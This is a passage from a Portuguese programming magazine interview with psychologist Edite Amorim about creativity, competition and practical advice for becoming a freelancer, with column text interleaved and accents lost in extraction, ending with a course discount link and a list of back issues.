Alm disso, a leitura uma fonte inacreditvel de
energia e inspirao. Autores que me fazem sentir esse qua-
dro maior do qual fazemos parte, so peas-chave no cami-
nho. Jos Tolentino Mendona, Rui Chafes, ou at mesmo,
na linha do romance, o Steinbeck ou o Saramago, contribu-
ram muitas vezes para no perder a noo de que, no fundo,
esta s uma viagem pela Terra. E uma viagem de que
importante desfrutar, com a qual nos podemos divertir e
aprender e evoluir como humanos. Quando isso se torna
claro por dentro, no h nada to negro que no se aclare.
(H um livro -O dirio de Etty Hillesum- que me traz
muita dessa perspetiva sobre o valor da caminhada, mesmo
com dificuldades tremendas pelo caminho. Um reforo no
continuar sempre e apesar de tudo, a batalhar pelo que se
cr).
Em 12 anos de empreendedorismo e de trabalho nu-
ma rea algo vanguardista, como a aplicao da Psicologia Foto: Ana Cancela
Positiva, tenho uma coleo de momentos negros bem rica.
E, apesar de j ter tido momentos de impasse quase violen- No meu caso, sinto que o meu profissionalismo, o
tos, estas coisas so o que me mantm na mesma linha, meu rigor e a minha exigncia comigo e com o trabalho que
mesmo tendo tido infinitas vezes a possibilidade de ir por fao no esto, de maneira nenhuma, ligados necessidade
caminhos mais fceis. de parecer sria. No sou. Rio gargalhada no meio de
reunies, fico com os olhos a brilhar com post-its de muitas
RP: Esta uma publicao de programadores, para pro-
cores quando entro numa sala de formao, vibro com uma
gramadores e aspirantes a tal, apaixonados pelas tecno-
sobremesa de chocolate num jantar de trabalho e pego no
logias. Pelo que conheces do mercado de trabalho, estas
vereador para danar, depois de uma conferncia muito s-
ainda so reas que tm procura?
ria. No deixo de ser uma menina de 36 anos, suponho. Uma
EA: Diria que SIM, sem dvida. Desde que se mantenham menina que psicloga porque se interessa pelo Outro,
abertos ao mundo que respira, que evolui, que muda. E so- com o que tem de difcil e doloroso, mas sobretudo com o
bretudo, desde que se mantenham sintonizados com o Hu- que tem de belo, de potico, de mgico, elevado, surpreen-
mano. Com as reais necessidades das pessoas, do ambien- dente. E ver isso tudo no nos pode deixar de olhar carrega-
te, do que nos faz seres globais, e no com o que nos que- do e pesado, mas de olho brilhante e curioso, vido, com
rem vender que so as tendncias, as modas ou os novos vontade de fazer parte desse todo chamado Humanidade.
indicadores.
RP: Num mundo competitivo, diz-se que "ou se nada com
Tenho a maior f nos programadores que usem o seu os tubares ou se tragado", por eles, como os peixi-
conhecimento e a sua paixo a favor de uma construo de nhos do oceano. O que diria a Edite, a algum que no
mundo mais amplo. Os exemplos de programas de interven- quer competir com ningum, no quer "tragar ningum",
o social proliferam: programadores que criaram apps para nem quer ser apenas um peixinho tragado por um tuba-
ajuda aos Refugiados; para melhoria das formas de utiliza- ro ?
o de servios de sade; para estratgias de apoio s mes
EA: A Edite diria diz, diz-se muitas vezes, e no tem a
ou pais que cuidam sozinhos dos filhos; para idosos que
menor dvida disso que a vida no a preto e branco. Que
vivem isolados; para estudantes que precisam de encontrar
no h nunca s duas alternativas para as situaes. E que a
solues de apoio escolar,... Os exemplos por todo o mundo

95
No Code
ENTREVISTA A EDITE AMORIM

criatividade, aliada aos valores no lugar certo, permite encon- estratgias para evitar isto).
trar solues que no passem s por ou nadar com tuba-
Alis, a criatividade fortemente aumentada com o
res ou ser comido por eles..
movimento, por isso, nos dias de bloqueios fica a dica: cami-
Pode, por exemplo, criar-se estratgias de unio de nhada de meia hora. Ativa corpo e conexes sinpticas.
foras com outros ditos peixes pequenos. Um bom cardume
Estar preparado para que vida pessoal, vida profissio-
intimidar qualquer peixe que se pense tubaro, no? Pesso-
nal e vida social sejam, por vezes, uma mesma coisa. Arran-
almente, tenho desenhado o meu caminho a enxot-los com
jar estratgicas para que isso no interfira ou para aprender a
os paus mais compridos que conheo. Digo que no muitas
separ-las, quando necessrio/possvel.
vezes. No a projetos, No a formas de trabalhar, No a
parcerias que no me parecem justas. A sobrevivncia a Saber viver com muito e com pouco, e desfrutar disso.
esses nos nem sempre fcil, mas em nenhum momento Saber gerir os recursos financeiros e a energia, quer quando
admito ceder quando so casos de algum peixe que se acha so muitos quer quando so poucos. Fazer disso quase um
tubaro. desporto.
E tambm podemos repensar a prpria noo de tu- Muita abertura ao mundo. Ningum vai passar uma
baro. Como diz o Novalis, no livro Fragmentos de Novalis, circular a anunciar necessidade de mudanas estratgicas,
Ao vermos um gigante, devemos examinar a posio do sol, ou de expandir negcio ou de diminuir custos dirios. Todas
primeiro e atentar se no ser apenas a sombra de um as mudanas estratgicas tero que vir da capacidade de
pigmeu. (...). E eu no acredito em tubares. Talvez eles se anlise do prprio negcio, do mercado, e da perspetiva so-
vejam assim, mas para mim no passam de peixes que ve- bre o prprio mundo volta. Estar escuta e atento a ele
mos com culos de aumentar. Se no pusermos esses cu- fundamental (E depois cada um escolhe como e se se adapta
los, so peixes, peixes normais. E no d vontade de dar a ele).
grande poder a peixes normais, pois no?
Capacidade para saber (ou saber a quem perguntar)
(Quando li esta pergunta a uma amiga designer, ela no s sobre a sua rea de negcio, mas sobre tudo o que
s me respondeu: Cria o seu prprio aqurio dentro do seu ter um implica: finanas, marketing, design, comunicao,...
oceano. No podia estar mais de acordo.)
Saber comunicar com assertividade, com clientes,
RP: Que conselho darias a algum que se quer tornar colegas, fornecedores e mundo volta. A comunicao flu-
freelancer, "nmada" ou no ? da, direta e fcil fundamental em todo o processo: acertar
prazos, negociar formas de pagamento, pedir e dar oramen-
EA: Acho que no me atreveria a dar propriamente con-
tos, anunciar alteraes, saber dizer no com delicadeza,..
selhos mas, pensando no meu percurso de 12 anos como
Para mim uma das grandes necessidades necessrias a
freelancer e no de quem conheo volta, fao uma checklist
qualquer freelancer que trabalhe com clientes finais, pelo
que pode dar jeito percorrer:
menos.
- Ser resistente instabilidade (econmica, de chega-
Ter seriedade nos valores. Ter uma palavra na qual se
da de projetos e de volume de trabalho, de ocupao). Estar
possa confiar, cumprir acordos, prazos, saber desculpar-se
preparado(a) para meses sem nada e meses com coisas a
perante um erro. Sendo a cara do projeto profissional (na
mais, e para uma vida em que os planos a mdio/longo pra-
verdade, o projeto todo), extremamente importante que os
zo podem ser uma miragem.
valores sejam ntegros e que a seriedade, o rigor pessoal e o
Capacidade para gerir e criar o quotidiano. Possuir brio sejam requisitos imprescindveis. Na minha opinio, esta
uma disciplina pessoal de criar rotinas que funcionem (nem ponto que mais marca a diferena entre um freelancer com
que de rotina tenham pouco, desde que siga uma estrutura que eu desejo ou no trabalhar.
que permita um equilbrio entre produtividade e vida real/
Ter uma boa rede de pessoas volta. Pessoas a
pessoal). Pode ser responder e-mails 2 da manh e dormir
quem pedir conselhos prticos em reas que se conhea
uma sesta no fim do almoo, desde que isso funcione com
menos; colegas, mesmo que sejam concorrncia, com quem
qualidade produtiva para o trabalho e sem rebentar a vida
se possa aprender com humildade; uma ou duas pessoas
pessoal.
que vo l estar quando apetecer gritar que se vai desistir
No esquecer o corpo. No vai haver cursos de Higie- (vai acontecer mais vezes do que as mos contem, provavel-
ne e Segurana no Trabalho, nem formaes em ergonomia, mente. E est tudo bem!); pessoas ou grupos que sejam lufa-
por isso importante cuidar o corpo no dia-a-dia, desde os das de ar fresco - artistas, criativos, pensadores, crticos -
hbitos forma de sentar. Nunca haver razo nenhuma que permitem sempre um zoom out da vida e que relembrem
para que os dias passem sem que se faa um pouco de que ela sempre mais do que o negcio que se est a de-
exerccio (nem que seja levantar-se de meia em meia hora senvolver (s vezes faz muita falta).
para esticar pernas 2 minutos e apanhar ar), comer o mais
EA: Eu falo destas coisas como pontos a desenvolver.
saudvel possvel (a tentao de petiscar todo o dia, de co-
Acho que quando comeamos nos faltam mais de metade
mer a primeira comida de plstico mo ou de passar horas
destas capacidades, naturalmente. Mas a vontade de estar
sem nada no estmago grande, por isso bom arranjar
atento(a) a elas e de as ir desenvolvendo que pode ajudar-

96
No Code
ENTREVISTA A EDITE AMORIM

nos a decidir se se est ou no preparado(a) para avanar. Para os que o comearem: BOA SORTE, mente bem aberta
e corao atento!
No acho que toda a gente se encaixe pacificamente
neste estilo de vida, de freelancer. A incerteza e insegurana

Foto: Miguel Marecos

Para todos os leitores da Programar, Edite Amorim oferece um desconto no seu curso online
(Creative Thinking- opening perspectives and thinking big). Basta seguir o link at dia 31 de Ja-
neiro'17 (validade do mesmo) para aceder ao preo com desconto.
https://www.udemy.com/creative-thinking-online-course/?couponCode=PROGRAMAR

97
Veja tambm as edies anteriores da

www.revista-programar.info
51 Edio - Dezemb ro 2015 48 Edio - Maro 2015
Revista PROGRAMAR

e muito mais em
52 Edio - Maro 2016 49 Edio - Junho 2015
53 Edio - Agosto 2016 50 Edio - Setembro 2015